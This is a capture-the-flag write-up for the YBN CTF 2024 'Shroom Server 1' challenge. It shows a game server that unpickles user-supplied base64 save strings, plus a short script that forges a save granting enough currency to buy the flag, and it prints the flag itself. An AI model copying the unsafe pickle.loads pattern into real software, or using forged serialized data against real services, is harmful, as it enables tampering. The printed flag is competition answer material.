# Shroom Server 1 Python pickle CTF challenge (YBN CTF 2024) ### Challenge Details > Title: Shroom Server 1 \ > Description: I made a fun little game for you to get the flag! Just keep farming them shrooms! \ > Attachments: https://ctf.ybn.sg/files/a2e455b6b3545484b0501e4fc76ceb17/shroom-server-1.zip \ > Instance: `nc tcp.ybn.sg 21621` After we `wget` and `unzip` the file, we should have: ``` . ├── Dockerfile ├── flag.txt └── main.py ``` In `main.py`, we see two very interesting functions (main.py: lines 92-113): ```py def save_state(): state = SaveState(name, farmed) state_bytes = pickle.dumps(state) state_b64 = base64.b64encode(state_bytes).decode("utf-8") print("Save this magic string to reload your save: " + state_b64) print("Goodbye!") exit() def load_state(): state_b64 = input("Enter your magic string: ") state_bytes = base64.b64decode(state_b64.encode("utf-8")) state = pickle.loads(state_bytes) if state.name != name: print("You don't have permission to load this save!") exit() global farmed farmed = state.farmed print("Save loaded successfully!") ``` We can engineer a "magic string" to set the `state.farmed` value to any value we want by creating our own instance of `SaveState` initialised with `farmed` being `FLAG_REWARD_COST` (main.py:line 20). Here's how I did it: ```py import base64 import pickle class SaveState: def __init__(self, name: str, farmed: int): self.name = name self.farmed = farmed def save_state(name, farmed): state = SaveState(name, farmed) state_bytes = pickle.dumps(state) state_b64 = base64.b64encode(state_bytes).decode("utf-8") print("Load this magic string to get the flag: " + state_b64) save_state("root", 10 ** 15) ``` Copy the magic string. Go to the challenge instance (`nc tcp.ybn.sg 21621`). \ Log in as "root". \ Load save and paste the magic string. \ You should have enough to buy the flag. Flag: :::spoiler Flag `YBN24{pIckLES_for_sHROoms_hUH_f7131de9e575bbd77ad599ea9cb7f598}` ::: \ \ Main Writeups Page: https://hackmd.io/@ctf-lol/ybnctf2024